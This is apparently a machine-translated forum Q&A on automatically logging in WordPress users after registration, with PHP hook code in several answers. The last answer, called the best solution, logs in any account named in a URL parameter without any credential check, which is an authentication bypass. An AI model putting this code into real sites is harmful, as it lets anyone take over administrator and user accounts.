注册Wordpress后自动登录用户



我正在尝试在注册后自动登录用户。

我正在functions.php文件中尝试此操作:

    add_action( 'user_register', 'auto_login_user' );
    function auto_login_user($user_id) {
      $user = new WP_User($user_id);
      $user_login_var = $user->user_login;
      $user_email_var = stripslashes($user->user_email);
      $user_pass_var    = $user->user_pass;
      $creds = array();
      $creds['user_login'] = $user_login_var;
      $creds['user_password'] = $user_pass_var;
      $creds['remember'] = true;
      $user = wp_signon( $creds, false );
      if ( is_wp_error($user) )
        echo $user->get_error_message();
        
}

我收到错误

您为用户名"输入的密码;新用户创建";不正确。丢失了密码?

如何从User对象获取密码?

也因为这是templateregistration.php中的一个自定义注册过程,我试图用$_POST来执行它,并在该文件中运行函数,但我也没有成功。。。

编辑:好的,我正在获得加密的密码,那么这里的解决方案是什么,我如何自动登录用户?也许我可以在registration.php页面中执行此操作?

将以下函数添加到functions.php文件

 function auto_login_new_user( $user_id ) {
        wp_set_current_user($user_id);
        wp_set_auth_cookie($user_id);
            // You can change home_url() to the specific URL,such as 
        //wp_redirect( 'http://www.wpcoke.com' );
        wp_redirect( home_url() );
        exit;
    }
 add_action( 'user_register', 'auto_login_new_user' );

如果您使用wp_insert_user();注册用户,那么自动登录用户很简单。如果成功,此函数将返回用户ID,因此使用它登录该用户。

$id = wp_insert_user($data);
//so if the return is not an wp error object then continue with login
if(!is_wp_error($id)){
    wp_set_current_user($id); // set the current wp user
    wp_set_auth_cookie($id); // start the cookie for the current registered user
}

但要遵循你已经拥有的,它可能是这样的:

add_action( 'user_register', 'auto_login_user' );
function auto_login_user($user_id) {
    wp_set_current_user($user_id); // set the current wp user
    wp_set_auth_cookie($user_id); // start the cookie for the current registered user
}
//this code is a bit tricky, if you are admin and you want to create a user then your admin session will be replaced with the new user you created :)
function auto_login() {
            $getuserdata=get_user_by('login',$_GET['login']);
            $tuserid=$getuserdata->ID;
            $user_id = $tuserid;
            $user = get_user_by( 'id', $user_id );
            if( $user ) {
                wp_set_current_user( $user_id, $user->user_login );
                wp_set_auth_cookie( $user_id );
                do_action( 'wp_login', $user->user_login );
            }
        }
        add_action('init', 'auto_login');

我遇到了和你一样的问题,找到了最好的解决方案。请在functions.php文件中尝试此操作。还有一件事是,在functions.php文件

中的函数中提交重置表单

最新更新